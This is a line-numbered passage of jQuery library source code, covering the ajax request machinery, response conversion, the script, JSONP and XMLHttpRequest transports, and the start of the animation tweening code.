  7765. // Headers (they are sent all at once)
  7766. requestHeaders = {},
  7767. requestHeadersNames = {},
  7768. // The jqXHR state
  7769. state = 0,
  7770. // Default abort message
  7771. strAbort = "canceled",
  7772. // Fake xhr
  7773. jqXHR = {
  7774. readyState: 0,
  7775.  
  7776. // Builds headers hashtable if needed
  7777. getResponseHeader: function( key ) {
  7778. var match;
  7779. if ( state === 2 ) {
  7780. if ( !responseHeaders ) {
  7781. responseHeaders = {};
  7782. while ( (match = rheaders.exec( responseHeadersString )) ) {
  7783. responseHeaders[ match[1].toLowerCase() ] = match[ 2 ];
  7784. }
  7785. }
  7786. match = responseHeaders[ key.toLowerCase() ];
  7787. }
  7788. return match == null ? null : match;
  7789. },
  7790.  
  7791. // Raw string
  7792. getAllResponseHeaders: function() {
  7793. return state === 2 ? responseHeadersString : null;
  7794. },
  7795.  
  7796. // Caches the header
  7797. setRequestHeader: function( name, value ) {
  7798. var lname = name.toLowerCase();
  7799. if ( !state ) {
  7800. name = requestHeadersNames[ lname ] = requestHeadersNames[ lname ] || name;
  7801. requestHeaders[ name ] = value;
  7802. }
  7803. return this;
  7804. },
  7805.  
  7806. // Overrides response content-type header
  7807. overrideMimeType: function( type ) {
  7808. if ( !state ) {
  7809. s.mimeType = type;
  7810. }
  7811. return this;
  7812. },
  7813.  
  7814. // Status-dependent callbacks
  7815. statusCode: function( map ) {
  7816. var code;
  7817. if ( map ) {
  7818. if ( state < 2 ) {
  7819. for ( code in map ) {
  7820. // Lazy-add the new callback in a way that preserves old ones
  7821. statusCode[ code ] = [ statusCode[ code ], map[ code ] ];
  7822. }
  7823. } else {
  7824. // Execute the appropriate callbacks
  7825. jqXHR.always( map[ jqXHR.status ] );
  7826. }
  7827. }
  7828. return this;
  7829. },
  7830.  
  7831. // Cancel the request
  7832. abort: function( statusText ) {
  7833. var finalText = statusText || strAbort;
  7834. if ( transport ) {
  7835. transport.abort( finalText );
  7836. }
  7837. done( 0, finalText );
  7838. return this;
  7839. }
  7840. };
  7841.  
  7842. // Attach deferreds
  7843. deferred.promise( jqXHR ).complete = completeDeferred.add;
  7844. jqXHR.success = jqXHR.done;
  7845. jqXHR.error = jqXHR.fail;
  7846.  
  7847. // Remove hash character (#7531: and string promotion)
  7848. // Add protocol if not provided (#5866: IE7 issue with protocol-less urls)
  7849. // Handle falsy url in the settings object (#10093: consistency with old signature)
  7850. // We also use the url parameter if available
  7851. s.url = ( ( url || s.url || ajaxLocation ) + "" ).replace( rhash, "" ).replace( rprotocol, ajaxLocParts[ 1 ] + "//" );
  7852.  
  7853. // Alias method option to type as per ticket #12004
  7854. s.type = options.method || options.type || s.method || s.type;
  7855.  
  7856. // Extract dataTypes list
  7857. s.dataTypes = jQuery.trim( s.dataType || "*" ).toLowerCase().match( core_rnotwhite ) || [""];
  7858.  
  7859. // A cross-domain request is in order when we have a protocol:host:port mismatch
  7860. if ( s.crossDomain == null ) {
  7861. parts = rurl.exec( s.url.toLowerCase() );
  7862. s.crossDomain = !!( parts &&
  7863. ( parts[ 1 ] !== ajaxLocParts[ 1 ] || parts[ 2 ] !== ajaxLocParts[ 2 ] ||
  7864. ( parts[ 3 ] || ( parts[ 1 ] === "http:" ? 80 : 443 ) ) !=
  7865. ( ajaxLocParts[ 3 ] || ( ajaxLocParts[ 1 ] === "http:" ? 80 : 443 ) ) )
  7866. );
  7867. }
  7868.  
  7869. // Convert data if not already a string
  7870. if ( s.data && s.processData && typeof s.data !== "string" ) {
  7871. s.data = jQuery.param( s.data, s.traditional );
  7872. }
  7873.  
  7874. // Apply prefilters
  7875. inspectPrefiltersOrTransports( prefilters, s, options, jqXHR );
  7876.  
  7877. // If request was aborted inside a prefilter, stop there
  7878. if ( state === 2 ) {
  7879. return jqXHR;
  7880. }
  7881.  
  7882. // We can fire global events as of now if asked to
  7883. fireGlobals = s.global;
  7884.  
  7885. // Watch for a new set of requests
  7886. if ( fireGlobals && jQuery.active++ === 0 ) {
  7887. jQuery.event.trigger("ajaxStart");
  7888. }
  7889.  
  7890. // Uppercase the type
  7891. s.type = s.type.toUpperCase();
  7892.  
  7893. // Determine if request has content
  7894. s.hasContent = !rnoContent.test( s.type );
  7895.  
  7896. // Save the URL in case we're toying with the If-Modified-Since
  7897. // and/or If-None-Match header later on
  7898. cacheURL = s.url;
  7899.  
  7900. // More options handling for requests with no content
  7901. if ( !s.hasContent ) {
  7902.  
  7903. // If data is available, append data to url
  7904. if ( s.data ) {
  7905. cacheURL = ( s.url += ( ajax_rquery.test( cacheURL ) ? "&" : "?" ) + s.data );
  7906. // #9682: remove data so that it's not used in an eventual retry
  7907. delete s.data;
  7908. }
  7909.  
  7910. // Add anti-cache in url if needed
  7911. if ( s.cache === false ) {
  7912. s.url = rts.test( cacheURL ) ?
  7913.  
  7914. // If there is already a '_' parameter, set its value
  7915. cacheURL.replace( rts, "$1_=" + ajax_nonce++ ) :
  7916.  
  7917. // Otherwise add one to the end
  7918. cacheURL + ( ajax_rquery.test( cacheURL ) ? "&" : "?" ) + "_=" + ajax_nonce++;
  7919. }
  7920. }
  7921.  
  7922. // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
  7923. if ( s.ifModified ) {
  7924. if ( jQuery.lastModified[ cacheURL ] ) {
  7925. jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ cacheURL ] );
  7926. }
  7927. if ( jQuery.etag[ cacheURL ] ) {
  7928. jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ cacheURL ] );
  7929. }
  7930. }
  7931.  
  7932. // Set the correct header, if data is being sent
  7933. if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) {
  7934. jqXHR.setRequestHeader( "Content-Type", s.contentType );
  7935. }
  7936.  
  7937. // Set the Accepts header for the server, depending on the dataType
  7938. jqXHR.setRequestHeader(
  7939. "Accept",
  7940. s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[0] ] ?
  7941. s.accepts[ s.dataTypes[0] ] + ( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) :
  7942. s.accepts[ "*" ]
  7943. );
  7944.  
  7945. // Check for headers option
  7946. for ( i in s.headers ) {
  7947. jqXHR.setRequestHeader( i, s.headers[ i ] );
  7948. }
  7949.  
  7950. // Allow custom headers/mimetypes and early abort
  7951. if ( s.beforeSend && ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || state === 2 ) ) {
  7952. // Abort if not done already and return
  7953. return jqXHR.abort();
  7954. }
  7955.  
  7956. // aborting is no longer a cancellation
  7957. strAbort = "abort";
  7958.  
  7959. // Install callbacks on deferreds
  7960. for ( i in { success: 1, error: 1, complete: 1 } ) {
  7961. jqXHR[ i ]( s[ i ] );
  7962. }
  7963.  
  7964. // Get transport
  7965. transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR );
  7966.  
  7967. // If no transport, we auto-abort
  7968. if ( !transport ) {
  7969. done( -1, "No Transport" );
  7970. } else {
  7971. jqXHR.readyState = 1;
  7972.  
  7973. // Send global event
  7974. if ( fireGlobals ) {
  7975. globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] );
  7976. }
  7977. // Timeout
  7978. if ( s.async && s.timeout > 0 ) {
  7979. timeoutTimer = setTimeout(function() {
  7980. jqXHR.abort("timeout");
  7981. }, s.timeout );
  7982. }
  7983.  
  7984. try {
  7985. state = 1;
  7986. transport.send( requestHeaders, done );
  7987. } catch ( e ) {
  7988. // Propagate exception as error if not done
  7989. if ( state < 2 ) {
  7990. done( -1, e );
  7991. // Simply rethrow otherwise
  7992. } else {
  7993. throw e;
  7994. }
  7995. }
  7996. }
  7997.  
  7998. // Callback for when everything is done
  7999. function done( status, nativeStatusText, responses, headers ) {
  8000. var isSuccess, success, error, response, modified,
  8001. statusText = nativeStatusText;
  8002.  
  8003. // Called once
  8004. if ( state === 2 ) {
  8005. return;
  8006. }
  8007.  
  8008. // State is "done" now
  8009. state = 2;
  8010.  
  8011. // Clear timeout if it exists
  8012. if ( timeoutTimer ) {
  8013. clearTimeout( timeoutTimer );
  8014. }
  8015.  
  8016. // Dereference transport for early garbage collection
  8017. // (no matter how long the jqXHR object will be used)
  8018. transport = undefined;
  8019.  
  8020. // Cache response headers
  8021. responseHeadersString = headers || "";
  8022.  
  8023. // Set readyState
  8024. jqXHR.readyState = status > 0 ? 4 : 0;
  8025.  
  8026. // Get response data
  8027. if ( responses ) {
  8028. response = ajaxHandleResponses( s, jqXHR, responses );
  8029. }
  8030.  
  8031. // If successful, handle type chaining
  8032. if ( status >= 200 && status < 300 || status === 304 ) {
  8033.  
  8034. // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
  8035. if ( s.ifModified ) {
  8036. modified = jqXHR.getResponseHeader("Last-Modified");
  8037. if ( modified ) {
  8038. jQuery.lastModified[ cacheURL ] = modified;
  8039. }
  8040. modified = jqXHR.getResponseHeader("etag");
  8041. if ( modified ) {
  8042. jQuery.etag[ cacheURL ] = modified;
  8043. }
  8044. }
  8045.  
  8046. // if no content
  8047. if ( status === 204 ) {
  8048. isSuccess = true;
  8049. statusText = "nocontent";
  8050.  
  8051. // if not modified
  8052. } else if ( status === 304 ) {
  8053. isSuccess = true;
  8054. statusText = "notmodified";
  8055.  
  8056. // If we have data, let's convert it
  8057. } else {
  8058. isSuccess = ajaxConvert( s, response );
  8059. statusText = isSuccess.state;
  8060. success = isSuccess.data;
  8061. error = isSuccess.error;
  8062. isSuccess = !error;
  8063. }
  8064. } else {
  8065. // We extract error from statusText
  8066. // then normalize statusText and status for non-aborts
  8067. error = statusText;
  8068. if ( status || !statusText ) {
  8069. statusText = "error";
  8070. if ( status < 0 ) {
  8071. status = 0;
  8072. }
  8073. }
  8074. }
  8075.  
  8076. // Set data for the fake xhr object
  8077. jqXHR.status = status;
  8078. jqXHR.statusText = ( nativeStatusText || statusText ) + "";
  8079.  
  8080. // Success/Error
  8081. if ( isSuccess ) {
  8082. deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] );
  8083. } else {
  8084. deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] );
  8085. }
  8086.  
  8087. // Status-dependent callbacks
  8088. jqXHR.statusCode( statusCode );
  8089. statusCode = undefined;
  8090.  
  8091. if ( fireGlobals ) {
  8092. globalEventContext.trigger( isSuccess ? "ajaxSuccess" : "ajaxError",
  8093. [ jqXHR, s, isSuccess ? success : error ] );
  8094. }
  8095.  
  8096. // Complete
  8097. completeDeferred.fireWith( callbackContext, [ jqXHR, statusText ] );
  8098.  
  8099. if ( fireGlobals ) {
  8100. globalEventContext.trigger( "ajaxComplete", [ jqXHR, s ] );
  8101. // Handle the global AJAX counter
  8102. if ( !( --jQuery.active ) ) {
  8103. jQuery.event.trigger("ajaxStop");
  8104. }
  8105. }
  8106. }
  8107.  
  8108. return jqXHR;
  8109. },
  8110.  
  8111. getScript: function( url, callback ) {
  8112. return jQuery.get( url, undefined, callback, "script" );
  8113. },
  8114.  
  8115. getJSON: function( url, data, callback ) {
  8116. return jQuery.get( url, data, callback, "json" );
  8117. }
  8118. });
  8119.  
  8120. /* Handles responses to an ajax request:
  8121. * - sets all responseXXX fields accordingly
  8122. * - finds the right dataType (mediates between content-type and expected dataType)
  8123. * - returns the corresponding response
  8124. */
  8125. function ajaxHandleResponses( s, jqXHR, responses ) {
  8126. var firstDataType, ct, finalDataType, type,
  8127. contents = s.contents,
  8128. dataTypes = s.dataTypes,
  8129. responseFields = s.responseFields;
  8130.  
  8131. // Fill responseXXX fields
  8132. for ( type in responseFields ) {
  8133. if ( type in responses ) {
  8134. jqXHR[ responseFields[type] ] = responses[ type ];
  8135. }
  8136. }
  8137.  
  8138. // Remove auto dataType and get content-type in the process
  8139. while( dataTypes[ 0 ] === "*" ) {
  8140. dataTypes.shift();
  8141. if ( ct === undefined ) {
  8142. ct = s.mimeType || jqXHR.getResponseHeader("Content-Type");
  8143. }
  8144. }
  8145.  
  8146. // Check if we're dealing with a known content-type
  8147. if ( ct ) {
  8148. for ( type in contents ) {
  8149. if ( contents[ type ] && contents[ type ].test( ct ) ) {
  8150. dataTypes.unshift( type );
  8151. break;
  8152. }
  8153. }
  8154. }
  8155.  
  8156. // Check to see if we have a response for the expected dataType
  8157. if ( dataTypes[ 0 ] in responses ) {
  8158. finalDataType = dataTypes[ 0 ];
  8159. } else {
  8160. // Try convertible dataTypes
  8161. for ( type in responses ) {
  8162. if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[0] ] ) {
  8163. finalDataType = type;
  8164. break;
  8165. }
  8166. if ( !firstDataType ) {
  8167. firstDataType = type;
  8168. }
  8169. }
  8170. // Or just use first one
  8171. finalDataType = finalDataType || firstDataType;
  8172. }
  8173.  
  8174. // If we found a dataType
  8175. // We add the dataType to the list if needed
  8176. // and return the corresponding response
  8177. if ( finalDataType ) {
  8178. if ( finalDataType !== dataTypes[ 0 ] ) {
  8179. dataTypes.unshift( finalDataType );
  8180. }
  8181. return responses[ finalDataType ];
  8182. }
  8183. }
  8184.  
  8185. // Chain conversions given the request and the original response
  8186. function ajaxConvert( s, response ) {
  8187. var conv2, current, conv, tmp,
  8188. converters = {},
  8189. i = 0,
  8190. // Work with a copy of dataTypes in case we need to modify it for conversion
  8191. dataTypes = s.dataTypes.slice(),
  8192. prev = dataTypes[ 0 ];
  8193.  
  8194. // Apply the dataFilter if provided
  8195. if ( s.dataFilter ) {
  8196. response = s.dataFilter( response, s.dataType );
  8197. }
  8198.  
  8199. // Create converters map with lowercased keys
  8200. if ( dataTypes[ 1 ] ) {
  8201. for ( conv in s.converters ) {
  8202. converters[ conv.toLowerCase() ] = s.converters[ conv ];
  8203. }
  8204. }
  8205.  
  8206. // Convert to each sequential dataType, tolerating list modification
  8207. for ( ; (current = dataTypes[++i]); ) {
  8208.  
  8209. // There's only work to do if current dataType is non-auto
  8210. if ( current !== "*" ) {
  8211.  
  8212. // Convert response if prev dataType is non-auto and differs from current
  8213. if ( prev !== "*" && prev !== current ) {
  8214.  
  8215. // Seek a direct converter
  8216. conv = converters[ prev + " " + current ] || converters[ "* " + current ];
  8217.  
  8218. // If none found, seek a pair
  8219. if ( !conv ) {
  8220. for ( conv2 in converters ) {
  8221.  
  8222. // If conv2 outputs current
  8223. tmp = conv2.split(" ");
  8224. if ( tmp[ 1 ] === current ) {
  8225.  
  8226. // If prev can be converted to accepted input
  8227. conv = converters[ prev + " " + tmp[ 0 ] ] ||
  8228. converters[ "* " + tmp[ 0 ] ];
  8229. if ( conv ) {
  8230. // Condense equivalence converters
  8231. if ( conv === true ) {
  8232. conv = converters[ conv2 ];
  8233.  
  8234. // Otherwise, insert the intermediate dataType
  8235. } else if ( converters[ conv2 ] !== true ) {
  8236. current = tmp[ 0 ];
  8237. dataTypes.splice( i--, 0, current );
  8238. }
  8239.  
  8240. break;
  8241. }
  8242. }
  8243. }
  8244. }
  8245.  
  8246. // Apply converter (if not an equivalence)
  8247. if ( conv !== true ) {
  8248.  
  8249. // Unless errors are allowed to bubble, catch and return them
  8250. if ( conv && s["throws"] ) {
  8251. response = conv( response );
  8252. } else {
  8253. try {
  8254. response = conv( response );
  8255. } catch ( e ) {
  8256. return { state: "parsererror", error: conv ? e : "No conversion from " + prev + " to " + current };
  8257. }
  8258. }
  8259. }
  8260. }
  8261.  
  8262. // Update prev for next iteration
  8263. prev = current;
  8264. }
  8265. }
  8266.  
  8267. return { state: "success", data: response };
  8268. }
  8269. // Install script dataType
  8270. jQuery.ajaxSetup({
  8271. accepts: {
  8272. script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
  8273. },
  8274. contents: {
  8275. script: /(?:java|ecma)script/
  8276. },
  8277. converters: {
  8278. "text script": function( text ) {
  8279. jQuery.globalEval( text );
  8280. return text;
  8281. }
  8282. }
  8283. });
  8284.  
  8285. // Handle cache's special case and global
  8286. jQuery.ajaxPrefilter( "script", function( s ) {
  8287. if ( s.cache === undefined ) {
  8288. s.cache = false;
  8289. }
  8290. if ( s.crossDomain ) {
  8291. s.type = "GET";
  8292. s.global = false;
  8293. }
  8294. });
  8295.  
  8296. // Bind script tag hack transport
  8297. jQuery.ajaxTransport( "script", function(s) {
  8298.  
  8299. // This transport only deals with cross domain requests
  8300. if ( s.crossDomain ) {
  8301.  
  8302. var script,
  8303. head = document.head || jQuery("head")[0] || document.documentElement;
  8304.  
  8305. return {
  8306.  
  8307. send: function( _, callback ) {
  8308.  
  8309. script = document.createElement("script");
  8310.  
  8311. script.async = true;
  8312.  
  8313. if ( s.scriptCharset ) {
  8314. script.charset = s.scriptCharset;
  8315. }
  8316.  
  8317. script.src = s.url;
  8318.  
  8319. // Attach handlers for all browsers
  8320. script.onload = script.onreadystatechange = function( _, isAbort ) {
  8321.  
  8322. if ( isAbort || !script.readyState || /loaded|complete/.test( script.readyState ) ) {
  8323.  
  8324. // Handle memory leak in IE
  8325. script.onload = script.onreadystatechange = null;
  8326.  
  8327. // Remove the script
  8328. if ( script.parentNode ) {
  8329. script.parentNode.removeChild( script );
  8330. }
  8331.  
  8332. // Dereference the script
  8333. script = null;
  8334.  
  8335. // Callback if not abort
  8336. if ( !isAbort ) {
  8337. callback( 200, "success" );
  8338. }
  8339. }
  8340. };
  8341.  
  8342. // Circumvent IE6 bugs with base elements (#2709 and #4378) by prepending
  8343. // Use native DOM manipulation to avoid our domManip AJAX trickery
  8344. head.insertBefore( script, head.firstChild );
  8345. },
  8346.  
  8347. abort: function() {
  8348. if ( script ) {
  8349. script.onload( undefined, true );
  8350. }
  8351. }
  8352. };
  8353. }
  8354. });
  8355. var oldCallbacks = [],
  8356. rjsonp = /(=)\?(?=&|$)|\?\?/;
  8357.  
  8358. // Default jsonp settings
  8359. jQuery.ajaxSetup({
  8360. jsonp: "callback",
  8361. jsonpCallback: function() {
  8362. var callback = oldCallbacks.pop() || ( jQuery.expando + "_" + ( ajax_nonce++ ) );
  8363. this[ callback ] = true;
  8364. return callback;
  8365. }
  8366. });
  8367.  
  8368. // Detect, normalize options and install callbacks for jsonp requests
  8369. jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) {
  8370.  
  8371. var callbackName, overwritten, responseContainer,
  8372. jsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ?
  8373. "url" :
  8374. typeof s.data === "string" && !( s.contentType || "" ).indexOf("application/x-www-form-urlencoded") && rjsonp.test( s.data ) && "data"
  8375. );
  8376.  
  8377. // Handle iff the expected data type is "jsonp" or we have a parameter to set
  8378. if ( jsonProp || s.dataTypes[ 0 ] === "jsonp" ) {
  8379.  
  8380. // Get callback name, remembering preexisting value associated with it
  8381. callbackName = s.jsonpCallback = jQuery.isFunction( s.jsonpCallback ) ?
  8382. s.jsonpCallback() :
  8383. s.jsonpCallback;
  8384.  
  8385. // Insert callback into url or form data
  8386. if ( jsonProp ) {
  8387. s[ jsonProp ] = s[ jsonProp ].replace( rjsonp, "$1" + callbackName );
  8388. } else if ( s.jsonp !== false ) {
  8389. s.url += ( ajax_rquery.test( s.url ) ? "&" : "?" ) + s.jsonp + "=" + callbackName;
  8390. }
  8391.  
  8392. // Use data converter to retrieve json after script execution
  8393. s.converters["script json"] = function() {
  8394. if ( !responseContainer ) {
  8395. jQuery.error( callbackName + " was not called" );
  8396. }
  8397. return responseContainer[ 0 ];
  8398. };
  8399.  
  8400. // force json dataType
  8401. s.dataTypes[ 0 ] = "json";
  8402.  
  8403. // Install callback
  8404. overwritten = window[ callbackName ];
  8405. window[ callbackName ] = function() {
  8406. responseContainer = arguments;
  8407. };
  8408.  
  8409. // Clean-up function (fires after converters)
  8410. jqXHR.always(function() {
  8411. // Restore preexisting value
  8412. window[ callbackName ] = overwritten;
  8413.  
  8414. // Save back as free
  8415. if ( s[ callbackName ] ) {
  8416. // make sure that re-using the options doesn't screw things around
  8417. s.jsonpCallback = originalSettings.jsonpCallback;
  8418.  
  8419. // save the callback name for future use
  8420. oldCallbacks.push( callbackName );
  8421. }
  8422.  
  8423. // Call if it was a function and we have a response
  8424. if ( responseContainer && jQuery.isFunction( overwritten ) ) {
  8425. overwritten( responseContainer[ 0 ] );
  8426. }
  8427.  
  8428. responseContainer = overwritten = undefined;
  8429. });
  8430.  
  8431. // Delegate to script
  8432. return "script";
  8433. }
  8434. });
  8435. var xhrCallbacks, xhrSupported,
  8436. xhrId = 0,
  8437. // #5280: Internet Explorer will keep connections alive if we don't abort on unload
  8438. xhrOnUnloadAbort = window.ActiveXObject && function() {
  8439. // Abort all pending requests
  8440. var key;
  8441. for ( key in xhrCallbacks ) {
  8442. xhrCallbacks[ key ]( undefined, true );
  8443. }
  8444. };
  8445.  
  8446. // Functions to create xhrs
  8447. function createStandardXHR() {
  8448. try {
  8449. return new window.XMLHttpRequest();
  8450. } catch( e ) {}
  8451. }
  8452.  
  8453. function createActiveXHR() {
  8454. try {
  8455. return new window.ActiveXObject("Microsoft.XMLHTTP");
  8456. } catch( e ) {}
  8457. }
  8458.  
  8459. // Create the request object
  8460. // (This is still attached to ajaxSettings for backward compatibility)
  8461. jQuery.ajaxSettings.xhr = window.ActiveXObject ?
  8462. /* Microsoft failed to properly
  8463. * implement the XMLHttpRequest in IE7 (can't request local files),
  8464. * so we use the ActiveXObject when it is available
  8465. * Additionally XMLHttpRequest can be disabled in IE7/IE8 so
  8466. * we need a fallback.
  8467. */
  8468. function() {
  8469. return !this.isLocal && createStandardXHR() || createActiveXHR();
  8470. } :
  8471. // For all other browsers, use the standard XMLHttpRequest object
  8472. createStandardXHR;
  8473.  
  8474. // Determine support properties
  8475. xhrSupported = jQuery.ajaxSettings.xhr();
  8476. jQuery.support.cors = !!xhrSupported && ( "withCredentials" in xhrSupported );
  8477. xhrSupported = jQuery.support.ajax = !!xhrSupported;
  8478.  
  8479. // Create transport if the browser can provide an xhr
  8480. if ( xhrSupported ) {
  8481.  
  8482. jQuery.ajaxTransport(function( s ) {
  8483. // Cross domain only allowed if supported through XMLHttpRequest
  8484. if ( !s.crossDomain || jQuery.support.cors ) {
  8485.  
  8486. var callback;
  8487.  
  8488. return {
  8489. send: function( headers, complete ) {
  8490.  
  8491. // Get a new xhr
  8492. var handle, i,
  8493. xhr = s.xhr();
  8494.  
  8495. // Open the socket
  8496. // Passing null username, generates a login popup on Opera (#2865)
  8497. if ( s.username ) {
  8498. xhr.open( s.type, s.url, s.async, s.username, s.password );
  8499. } else {
  8500. xhr.open( s.type, s.url, s.async );
  8501. }
  8502.  
  8503. // Apply custom fields if provided
  8504. if ( s.xhrFields ) {
  8505. for ( i in s.xhrFields ) {
  8506. xhr[ i ] = s.xhrFields[ i ];
  8507. }
  8508. }
  8509.  
  8510. // Override mime type if needed
  8511. if ( s.mimeType && xhr.overrideMimeType ) {
  8512. xhr.overrideMimeType( s.mimeType );
  8513. }
  8514.  
  8515. // X-Requested-With header
  8516. // For cross-domain requests, seeing as conditions for a preflight are
  8517. // akin to a jigsaw puzzle, we simply never set it to be sure.
  8518. // (it can always be set on a per-request basis or even using ajaxSetup)
  8519. // For same-domain requests, won't change header if already provided.
  8520. if ( !s.crossDomain && !headers["X-Requested-With"] ) {
  8521. headers["X-Requested-With"] = "XMLHttpRequest";
  8522. }
  8523.  
  8524. // Need an extra try/catch for cross domain requests in Firefox 3
  8525. try {
  8526. for ( i in headers ) {
  8527. xhr.setRequestHeader( i, headers[ i ] );
  8528. }
  8529. } catch( err ) {}
  8530.  
  8531. // Do send the request
  8532. // This may raise an exception which is actually
  8533. // handled in jQuery.ajax (so no try/catch here)
  8534. xhr.send( ( s.hasContent && s.data ) || null );
  8535.  
  8536. // Listener
  8537. callback = function( _, isAbort ) {
  8538. var status, responseHeaders, statusText, responses;
  8539.  
  8540. // Firefox throws exceptions when accessing properties
  8541. // of an xhr when a network error occurred
  8542. // http://helpful.knobs-dials.com/index.php/Component_returned_failure_code:_0x80040111_(NS_ERROR_NOT_AVAILABLE)
  8543. try {
  8544.  
  8545. // Was never called and is aborted or complete
  8546. if ( callback && ( isAbort || xhr.readyState === 4 ) ) {
  8547.  
  8548. // Only called once
  8549. callback = undefined;
  8550.  
  8551. // Do not keep as active anymore
  8552. if ( handle ) {
  8553. xhr.onreadystatechange = jQuery.noop;
  8554. if ( xhrOnUnloadAbort ) {
  8555. delete xhrCallbacks[ handle ];
  8556. }
  8557. }
  8558.  
  8559. // If it's an abort
  8560. if ( isAbort ) {
  8561. // Abort it manually if needed
  8562. if ( xhr.readyState !== 4 ) {
  8563. xhr.abort();
  8564. }
  8565. } else {
  8566. responses = {};
  8567. status = xhr.status;
  8568. responseHeaders = xhr.getAllResponseHeaders();
  8569.  
  8570. // When requesting binary data, IE6-9 will throw an exception
  8571. // on any attempt to access responseText (#11426)
  8572. if ( typeof xhr.responseText === "string" ) {
  8573. responses.text = xhr.responseText;
  8574. }
  8575.  
  8576. // Firefox throws an exception when accessing
  8577. // statusText for faulty cross-domain requests
  8578. try {
  8579. statusText = xhr.statusText;
  8580. } catch( e ) {
  8581. // We normalize with Webkit giving an empty statusText
  8582. statusText = "";
  8583. }
  8584.  
  8585. // Filter status for non standard behaviors
  8586.  
  8587. // If the request is local and we have data: assume a success
  8588. // (success with no data won't get notified, that's the best we
  8589. // can do given current implementations)
  8590. if ( !status && s.isLocal && !s.crossDomain ) {
  8591. status = responses.text ? 200 : 404;
  8592. // IE - #1450: sometimes returns 1223 when it should be 204
  8593. } else if ( status === 1223 ) {
  8594. status = 204;
  8595. }
  8596. }
  8597. }
  8598. } catch( firefoxAccessException ) {
  8599. if ( !isAbort ) {
  8600. complete( -1, firefoxAccessException );
  8601. }
  8602. }
  8603.  
  8604. // Call complete if needed
  8605. if ( responses ) {
  8606. complete( status, statusText, responses, responseHeaders );
  8607. }
  8608. };
  8609.  
  8610. if ( !s.async ) {
  8611. // if we're in sync mode we fire the callback
  8612. callback();
  8613. } else if ( xhr.readyState === 4 ) {
  8614. // (IE6 & IE7) if it's in cache and has been
  8615. // retrieved directly we need to fire the callback
  8616. setTimeout( callback );
  8617. } else {
  8618. handle = ++xhrId;
  8619. if ( xhrOnUnloadAbort ) {
  8620. // Create the active xhrs callbacks list if needed
  8621. // and attach the unload handler
  8622. if ( !xhrCallbacks ) {
  8623. xhrCallbacks = {};
  8624. jQuery( window ).unload( xhrOnUnloadAbort );
  8625. }
  8626. // Add to list of active xhrs callbacks
  8627. xhrCallbacks[ handle ] = callback;
  8628. }
  8629. xhr.onreadystatechange = callback;
  8630. }
  8631. },
  8632.  
  8633. abort: function() {
  8634. if ( callback ) {
  8635. callback( undefined, true );
  8636. }
  8637. }
  8638. };
  8639. }
  8640. });
  8641. }
  8642. var fxNow, timerId,
  8643. rfxtypes = /^(?:toggle|show|hide)$/,
  8644. rfxnum = new RegExp( "^(?:([+-])=|)(" + core_pnum + ")([a-z%]*)$", "i" ),
  8645. rrun = /queueHooks$/,
  8646. animationPrefilters = [ defaultPrefilter ],
  8647. tweeners = {
  8648. "*": [function( prop, value ) {
  8649. var end, unit,
  8650. tween = this.createTween( prop, value ),
  8651. parts = rfxnum.exec( value ),
  8652. target = tween.cur(),
  8653. start = +target || 0,
  8654. scale = 1,
  8655. maxIterations = 20;
  8656.  
  8657. if ( parts ) {
  8658. end = +parts[2];
  8659. unit = parts[3] || ( jQuery.cssNumber[ prop ] ? "" : "px" );
  8660.  
  8661. // We need to compute starting value
  8662. if ( unit !== "px" && start ) {
  8663. // Iteratively approximate from a nonzero starting point
  8664. // Prefer the current property, because this process will be trivial if it uses the same units
  8665. // Fallback to end or a simple constant
  8666. start = jQuery.css( tween.elem, prop, true ) || end || 1;
  8667.  
  8668. do {
  8669. // If previous iteration zeroed out, double until we get *something*
  8670. // Use a string for doubling factor so we don't accidentally see scale as unchanged below
  8671. scale = scale || ".5";
  8672.  
  8673. // Adjust and apply
  8674. start = start / scale;
  8675. jQuery.style( tween.elem, prop, start + unit );
  8676.  
  8677. // Update scale, tolerating zero or NaN from tween.cur()
  8678. // And breaking the loop if scale is unchanged or perfect, or if we've just had enough
  8679. } while ( scale !== (scale = tween.cur() / target) && scale !== 1 && --maxIterations );
  8680. }
  8681.  
  8682. tween.unit = unit;
  8683. tween.start = start;
  8684. // If a +=/-= token was provided, we're doing a relative animation
  8685. tween.end = parts[1] ? start + ( parts[1] + 1 ) * end : end;
  8686. }
  8687. return tween;
  8688. }]
  8689. };
  8690.  
  8691. // Animations created synchronously will run synchronously
  8692. function createFxNow() {
  8693. setTimeout(function() {
  8694. fxNow = undefined;
  8695. });
  8696. return ( fxNow = jQuery.now() );
  8697. }
  8698.  
  8699. function createTweens( animation, props ) {
  8700. jQuery.each( props, function( prop, value ) {
  8701. var collection = ( tweeners[ prop ] || [] ).concat( tweeners[ "*" ] ),
  8702. index = 0,
  8703. length = collection.length;
  8704. for ( ; index < length; index++ ) {
  8705. if ( collection[ index ].call( animation, prop, value ) ) {
  8706.  
  8707. // we're done with this property
  8708. return;
  8709. }
  8710. }
  8711. });
  8712. }
  8713.  
  8714. function Animation( elem, properties, options ) {
  8715. var result,
  8716. stopped,
  8717. index = 0,
  8718. length = animationPrefilters.length,
  8719. deferred = jQuery.Deferred().always( function() {
  8720. // don't match elem in the :animated selector
  8721. delete tick.elem;
  8722. }),
  8723. tick = function() {
  8724. if ( stopped ) {
  8725. return false;
  8726. }
  8727. var currentTime = fxNow || createFxNow(),
  8728. remaining = Math.max( 0, animation.startTime + animation.duration - currentTime ),
  8729. // archaic crash bug won't allow us to use 1 - ( 0.5 || 0 ) (#12497)
  8730. temp = remaining / animation.duration || 0,
  8731. percent = 1 - temp,
  8732. index = 0,
  8733. length = animation.tweens.length;
  8734.  
  8735. for ( ; index < length ; index++ ) {
  8736. animation.tweens[ index ].run( percent );
